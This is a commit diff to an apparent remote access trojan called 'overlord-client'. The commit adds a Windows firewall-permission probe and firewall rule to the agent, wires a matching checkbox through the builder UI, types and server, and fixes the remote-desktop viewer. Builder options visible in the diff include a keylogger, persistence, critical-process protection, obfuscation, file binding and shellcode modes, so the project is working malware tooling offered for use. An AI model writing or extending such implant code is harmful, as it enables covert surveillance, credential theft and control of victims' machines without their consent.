add optional full require + fix some tests
This commit is contained in:
@@ -8,6 +8,7 @@ import (
|
|||||||
"overlord-client/cmd/agent/criticalproc"
|
"overlord-client/cmd/agent/criticalproc"
|
||||||
"overlord-client/cmd/agent/mutex"
|
"overlord-client/cmd/agent/mutex"
|
||||||
"overlord-client/cmd/agent/persistence"
|
"overlord-client/cmd/agent/persistence"
|
||||||
|
"overlord-client/cmd/agent/webrtcpub"
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
@@ -21,6 +22,7 @@ func main() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
runBoundFiles()
|
runBoundFiles()
|
||||||
|
webrtcpub.PromptFirewallPermissionOnStartup()
|
||||||
|
|
||||||
if cfg.EnablePersistence {
|
if cfg.EnablePersistence {
|
||||||
if isRunningInMemory() {
|
if isRunningInMemory() {
|
||||||
|
|||||||
@@ -0,0 +1,5 @@
|
|||||||
|
//go:build !windows || !overlord_webrtc || !webrtc_firewall_startup_prompt
|
||||||
|
|
||||||
|
package webrtcpub
|
||||||
|
|
||||||
|
func PromptFirewallPermissionOnStartup() {}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
//go:build windows && overlord_webrtc && webrtc_firewall_startup_prompt
|
||||||
|
|
||||||
|
package webrtcpub
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
func PromptFirewallPermissionOnStartup() {
|
||||||
|
go func() {
|
||||||
|
ensureFirewallRule()
|
||||||
|
if windows.GetCurrentProcessToken().IsElevated() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
probeFirewallPermissionPrompt()
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
func probeFirewallPermissionPrompt() {
|
||||||
|
pc, err := net.ListenPacket("udp4", "0.0.0.0:0")
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("webrtcpub: firewall permission probe failed: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer pc.Close()
|
||||||
|
|
||||||
|
_ = pc.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||||
|
var buf [1]byte
|
||||||
|
_, _, _ = pc.ReadFrom(buf[:])
|
||||||
|
}
|
||||||
@@ -304,6 +304,7 @@ function setBuildField(field, value) {
|
|||||||
stripDebug: 'input[name="strip-debug"]',
|
stripDebug: 'input[name="strip-debug"]',
|
||||||
noPrinting: 'input[name="no-printing"]',
|
noPrinting: 'input[name="no-printing"]',
|
||||||
enableWebrtc: 'input[name="enable-webrtc"]',
|
enableWebrtc: 'input[name="enable-webrtc"]',
|
||||||
|
promptWebrtcFirewallOnStart: 'input[name="prompt-webrtc-firewall-on-start"]',
|
||||||
enableWinRE: 'input[name="enable-winre"]',
|
enableWinRE: 'input[name="enable-winre"]',
|
||||||
fetchPublicIP: 'input[name="fetch-public-ip"]',
|
fetchPublicIP: 'input[name="fetch-public-ip"]',
|
||||||
enablePersistence: 'input[name="enable-persistence"]',
|
enablePersistence: 'input[name="enable-persistence"]',
|
||||||
@@ -574,6 +575,7 @@ function collectFormSettings() {
|
|||||||
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
||||||
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
|
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
|
||||||
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
|
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
|
||||||
|
promptWebrtcFirewallOnStart: document.querySelector('input[name="prompt-webrtc-firewall-on-start"]')?.checked ?? false,
|
||||||
enableWinRE: document.querySelector('input[name="enable-winre"]')?.checked ?? false,
|
enableWinRE: document.querySelector('input[name="enable-winre"]')?.checked ?? false,
|
||||||
fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false,
|
fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false,
|
||||||
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
|
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
|
||||||
@@ -649,6 +651,7 @@ function applyFormSettings(settings) {
|
|||||||
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
||||||
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
|
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
|
||||||
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
|
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
|
||||||
|
if (settings.promptWebrtcFirewallOnStart !== undefined) setCb('input[name="prompt-webrtc-firewall-on-start"]', settings.promptWebrtcFirewallOnStart);
|
||||||
if (settings.enableWinRE !== undefined) setCb('input[name="enable-winre"]', settings.enableWinRE);
|
if (settings.enableWinRE !== undefined) setCb('input[name="enable-winre"]', settings.enableWinRE);
|
||||||
if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP);
|
if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP);
|
||||||
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
|
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
|
||||||
@@ -720,6 +723,7 @@ function applyFormSettings(settings) {
|
|||||||
updateServerUrlPlaceholder();
|
updateServerUrlPlaceholder();
|
||||||
}
|
}
|
||||||
applyCryptableMode(document.getElementById("cryptable-mode")?.checked || false);
|
applyCryptableMode(document.getElementById("cryptable-mode")?.checked || false);
|
||||||
|
updateWebrtcFirewallPromptOption();
|
||||||
}
|
}
|
||||||
|
|
||||||
function saveFormSettings() {
|
function saveFormSettings() {
|
||||||
@@ -956,6 +960,14 @@ function applyLinuxShellcodeMode(enabled) {
|
|||||||
saveFormSettings();
|
saveFormSettings();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function updateWebrtcFirewallPromptOption() {
|
||||||
|
const webrtcEnabled = document.querySelector('input[name="enable-webrtc"]')?.checked ?? false;
|
||||||
|
const promptInput = document.querySelector('input[name="prompt-webrtc-firewall-on-start"]');
|
||||||
|
if (!promptInput) return;
|
||||||
|
promptInput.disabled = !webrtcEnabled;
|
||||||
|
if (!webrtcEnabled) promptInput.checked = false;
|
||||||
|
}
|
||||||
|
|
||||||
restoreFormSettings();
|
restoreFormSettings();
|
||||||
initAccordions();
|
initAccordions();
|
||||||
initBuilderTabs();
|
initBuilderTabs();
|
||||||
@@ -1165,6 +1177,7 @@ updatePersistenceSettingsVisibility();
|
|||||||
|
|
||||||
form?.addEventListener("change", saveFormSettings);
|
form?.addEventListener("change", saveFormSettings);
|
||||||
form?.addEventListener("input", saveFormSettings);
|
form?.addEventListener("input", saveFormSettings);
|
||||||
|
document.querySelector('input[name="enable-webrtc"]')?.addEventListener("change", updateWebrtcFirewallPromptOption);
|
||||||
|
|
||||||
const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]');
|
const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]');
|
||||||
const garbleSettingsContainer = document.getElementById("garble-settings-container");
|
const garbleSettingsContainer = document.getElementById("garble-settings-container");
|
||||||
@@ -1896,6 +1909,7 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
noPrinting,
|
noPrinting,
|
||||||
disableKeylogger: !enableKeylogger,
|
disableKeylogger: !enableKeylogger,
|
||||||
enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
|
enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
|
||||||
|
promptWebrtcFirewallOnStart: form.querySelector('input[name="enable-webrtc"]')?.checked === true && (form.querySelector('input[name="prompt-webrtc-firewall-on-start"]')?.checked || false),
|
||||||
enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false,
|
enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false,
|
||||||
fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
|
fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
|
||||||
outputName: outputNameVal || undefined,
|
outputName: outputNameVal || undefined,
|
||||||
@@ -2002,6 +2016,9 @@ async function startBuild(config) {
|
|||||||
|
|
||||||
buildStatus.classList.remove("hidden");
|
buildStatus.classList.remove("hidden");
|
||||||
buildStatusText.textContent = "Starting build...";
|
buildStatusText.textContent = "Starting build...";
|
||||||
|
buildStatus.querySelector("div").className =
|
||||||
|
"flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60";
|
||||||
|
buildStatus.querySelector("i").className = "fa-solid fa-spinner fa-spin";
|
||||||
buildResults.classList.add("hidden");
|
buildResults.classList.add("hidden");
|
||||||
buildFilesDiv.innerHTML = "";
|
buildFilesDiv.innerHTML = "";
|
||||||
|
|
||||||
|
|||||||
@@ -174,6 +174,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
const H264_MAX_RECOVERY_ATTEMPTS = 1;
|
const H264_MAX_RECOVERY_ATTEMPTS = 1;
|
||||||
const H264_DECODE_WARN_THROTTLE_MS = 2000;
|
const H264_DECODE_WARN_THROTTLE_MS = 2000;
|
||||||
const inputBackpressureBytes = 256 * 1024;
|
const inputBackpressureBytes = 256 * 1024;
|
||||||
|
const VIEWER_FRAME_GAP_KEYFRAME_MS = 500;
|
||||||
|
const VIEWER_FRAME_GAP_KEYFRAME_THROTTLE_MS = 1000;
|
||||||
|
let lastViewerFrameGapKeyframeAt = 0;
|
||||||
const diagnostics = {
|
const diagnostics = {
|
||||||
agent: null,
|
agent: null,
|
||||||
network: null,
|
network: null,
|
||||||
@@ -1964,6 +1967,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
pushBitrate();
|
pushBitrate();
|
||||||
desiredStreaming = true;
|
desiredStreaming = true;
|
||||||
lastFrameAt = 0;
|
lastFrameAt = 0;
|
||||||
|
lastViewerFrameGapKeyframeAt = 0;
|
||||||
firstFrameLogged = false;
|
firstFrameLogged = false;
|
||||||
resetH264SessionState();
|
resetH264SessionState();
|
||||||
setStreamState("starting", "Starting stream");
|
setStreamState("starting", "Starting stream");
|
||||||
@@ -2134,13 +2138,19 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function cursorImageBytes(image) {
|
||||||
|
if (image instanceof Uint8Array) return image;
|
||||||
|
if (image instanceof ArrayBuffer) return new Uint8Array(image);
|
||||||
|
if (ArrayBuffer.isView(image)) {
|
||||||
|
return new Uint8Array(image.buffer, image.byteOffset, image.byteLength);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
function renderRemoteCursor(message = lastRemoteCursor) {
|
function renderRemoteCursor(message = lastRemoteCursor) {
|
||||||
lastRemoteCursor = message;
|
lastRemoteCursor = message;
|
||||||
const image = message?.image;
|
const imageBytes = cursorImageBytes(message?.image);
|
||||||
if (remoteCursorImage && image instanceof Uint8Array && image.byteLength > 0) {
|
if (message && Number(message.cursorWidth) > 0 && Number(message.cursorHeight) > 0) {
|
||||||
if (remoteCursorImageUrl) URL.revokeObjectURL(remoteCursorImageUrl);
|
|
||||||
remoteCursorImageUrl = URL.createObjectURL(new Blob([image], { type: "image/png" }));
|
|
||||||
remoteCursorImage.src = remoteCursorImageUrl;
|
|
||||||
remoteCursorShape = {
|
remoteCursorShape = {
|
||||||
width: Math.max(1, Number(message.cursorWidth) || 1),
|
width: Math.max(1, Number(message.cursorWidth) || 1),
|
||||||
height: Math.max(1, Number(message.cursorHeight) || 1),
|
height: Math.max(1, Number(message.cursorHeight) || 1),
|
||||||
@@ -2148,6 +2158,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
hotspotY: Math.max(0, Number(message.hotspotY) || 0),
|
hotspotY: Math.max(0, Number(message.hotspotY) || 0),
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
if (remoteCursorImage && imageBytes && imageBytes.byteLength > 0) {
|
||||||
|
if (remoteCursorImageUrl) URL.revokeObjectURL(remoteCursorImageUrl);
|
||||||
|
remoteCursorImageUrl = URL.createObjectURL(new Blob([imageBytes], { type: "image/png" }));
|
||||||
|
remoteCursorImage.src = remoteCursorImageUrl;
|
||||||
|
}
|
||||||
const hideLocalCursor = !!hideLocalCursorCtrl?.checked;
|
const hideLocalCursor = !!hideLocalCursorCtrl?.checked;
|
||||||
const showRemoteCursor = !!cursorCtrl?.checked && !!message?.visible && !!remoteCursorShape &&
|
const showRemoteCursor = !!cursorCtrl?.checked && !!message?.visible && !!remoteCursorShape &&
|
||||||
(!mouseCtrl?.checked || hideLocalCursor);
|
(!mouseCtrl?.checked || hideLocalCursor);
|
||||||
@@ -2158,7 +2173,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
if (remoteCursor) remoteCursor.hidden = true;
|
if (remoteCursor) remoteCursor.hidden = true;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
const surface = webrtcActive ? webrtcVideo : canvas;
|
const surface = (webrtcActive || (webrtcVideo && getComputedStyle(webrtcVideo).display !== "none")) ? webrtcVideo : canvas;
|
||||||
const sourceWidth = Number(message.width) || (surface === webrtcVideo ? webrtcVideo.videoWidth : canvas.width);
|
const sourceWidth = Number(message.width) || (surface === webrtcVideo ? webrtcVideo.videoWidth : canvas.width);
|
||||||
const sourceHeight = Number(message.height) || (surface === webrtcVideo ? webrtcVideo.videoHeight : canvas.height);
|
const sourceHeight = Number(message.height) || (surface === webrtcVideo ? webrtcVideo.videoHeight : canvas.height);
|
||||||
if (!sourceWidth || !sourceHeight) {
|
if (!sourceWidth || !sourceHeight) {
|
||||||
@@ -2304,8 +2319,18 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
|
|
||||||
|
|
||||||
function markFrameReceived() {
|
function markFrameReceived() {
|
||||||
lastFrameAt = performance.now();
|
const now = performance.now();
|
||||||
|
const frameGapMs = lastFrameAt ? now - lastFrameAt : 0;
|
||||||
|
lastFrameAt = now;
|
||||||
clearOfflineTimer();
|
clearOfflineTimer();
|
||||||
|
if (
|
||||||
|
desiredStreaming &&
|
||||||
|
frameGapMs >= VIEWER_FRAME_GAP_KEYFRAME_MS &&
|
||||||
|
(!lastViewerFrameGapKeyframeAt || now - lastViewerFrameGapKeyframeAt >= VIEWER_FRAME_GAP_KEYFRAME_THROTTLE_MS)
|
||||||
|
) {
|
||||||
|
lastViewerFrameGapKeyframeAt = now;
|
||||||
|
sendCmd("desktop_request_keyframe", { reason: "viewer_frame_gap" });
|
||||||
|
}
|
||||||
if (!firstFrameLogged) {
|
if (!firstFrameLogged) {
|
||||||
firstFrameLogged = true;
|
firstFrameLogged = true;
|
||||||
rdDebug("first frame received", {
|
rdDebug("first frame received", {
|
||||||
|
|||||||
@@ -861,6 +861,16 @@
|
|||||||
</div>
|
</div>
|
||||||
</label>
|
</label>
|
||||||
|
|
||||||
|
<label class="flex items-start gap-2 ml-6 px-3 py-2 bg-slate-900/50 border border-slate-800 rounded-lg cursor-pointer hover:border-amber-500/60 transition-colors">
|
||||||
|
<input type="checkbox" name="prompt-webrtc-firewall-on-start" class="w-4 h-4 mt-0.5" disabled />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="flex items-center gap-2 text-sm text-slate-200">
|
||||||
|
<i class="fa-solid fa-shield-halved text-amber-300"></i> Ask for WebRTC firewall access on launch
|
||||||
|
</span>
|
||||||
|
<span class="text-xs text-slate-500">Windows-only. Starts a one-time firewall permission probe as soon as the agent launches instead of waiting for the first WebRTC stream.</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
|
||||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
|
||||||
<input type="checkbox" name="enable-nvenc" class="w-4 h-4" checked />
|
<input type="checkbox" name="enable-nvenc" class="w-4 h-4" checked />
|
||||||
<div class="flex flex-col">
|
<div class="flex flex-col">
|
||||||
|
|||||||
@@ -60,6 +60,7 @@ export type BuildConfig = {
|
|||||||
criticalProcess?: boolean;
|
criticalProcess?: boolean;
|
||||||
disableKeylogger?: boolean;
|
disableKeylogger?: boolean;
|
||||||
enableWebrtc?: boolean;
|
enableWebrtc?: boolean;
|
||||||
|
promptWebrtcFirewallOnStart?: boolean;
|
||||||
enableWinRE?: boolean;
|
enableWinRE?: boolean;
|
||||||
fetchPublicIP?: boolean;
|
fetchPublicIP?: boolean;
|
||||||
uploadToFileShare?: boolean;
|
uploadToFileShare?: boolean;
|
||||||
|
|||||||
@@ -97,6 +97,7 @@ type BuildProcessConfig = {
|
|||||||
noPrinting?: boolean;
|
noPrinting?: boolean;
|
||||||
disableKeylogger?: boolean;
|
disableKeylogger?: boolean;
|
||||||
enableWebrtc?: boolean;
|
enableWebrtc?: boolean;
|
||||||
|
promptWebrtcFirewallOnStart?: boolean;
|
||||||
enableWinRE?: boolean;
|
enableWinRE?: boolean;
|
||||||
builtByUserId?: number;
|
builtByUserId?: number;
|
||||||
initialClientTag?: string;
|
initialClientTag?: string;
|
||||||
@@ -1376,6 +1377,7 @@ func runBoundFiles() {
|
|||||||
if (config.noPrinting) baseTags.push("noprint");
|
if (config.noPrinting) baseTags.push("noprint");
|
||||||
if (config.disableKeylogger) baseTags.push("nokeylogger");
|
if (config.disableKeylogger) baseTags.push("nokeylogger");
|
||||||
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
|
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
|
||||||
|
if (config.enableWebrtc && config.promptWebrtcFirewallOnStart) baseTags.push("webrtc_firewall_startup_prompt");
|
||||||
if (config.enableWinRE && os === "windows") baseTags.push("overlord_winre");
|
if (config.enableWinRE && os === "windows") baseTags.push("overlord_winre");
|
||||||
if (hasBoundFiles) baseTags.push("hasbinder");
|
if (hasBoundFiles) baseTags.push("hasbinder");
|
||||||
if (isIosTarget) baseTags.push("ios_target");
|
if (isIosTarget) baseTags.push("ios_target");
|
||||||
|
|||||||
@@ -217,6 +217,7 @@ export async function handleBuildRoutes(
|
|||||||
criticalProcess,
|
criticalProcess,
|
||||||
disableKeylogger,
|
disableKeylogger,
|
||||||
enableWebrtc,
|
enableWebrtc,
|
||||||
|
promptWebrtcFirewallOnStart,
|
||||||
enableWinRE,
|
enableWinRE,
|
||||||
outputExtension,
|
outputExtension,
|
||||||
sleepSeconds,
|
sleepSeconds,
|
||||||
@@ -550,6 +551,7 @@ export async function handleBuildRoutes(
|
|||||||
criticalProcess: safeCriticalProcess,
|
criticalProcess: safeCriticalProcess,
|
||||||
disableKeylogger: !!disableKeylogger,
|
disableKeylogger: !!disableKeylogger,
|
||||||
enableWebrtc: !!enableWebrtc,
|
enableWebrtc: !!enableWebrtc,
|
||||||
|
promptWebrtcFirewallOnStart: !!enableWebrtc && !!promptWebrtcFirewallOnStart,
|
||||||
enableWinRE: !!enableWinRE,
|
enableWinRE: !!enableWinRE,
|
||||||
outputExtension: safeOutputExtension,
|
outputExtension: safeOutputExtension,
|
||||||
sleepSeconds: safeSleepSeconds,
|
sleepSeconds: safeSleepSeconds,
|
||||||
|
|||||||
Reference in New Issue
Block a user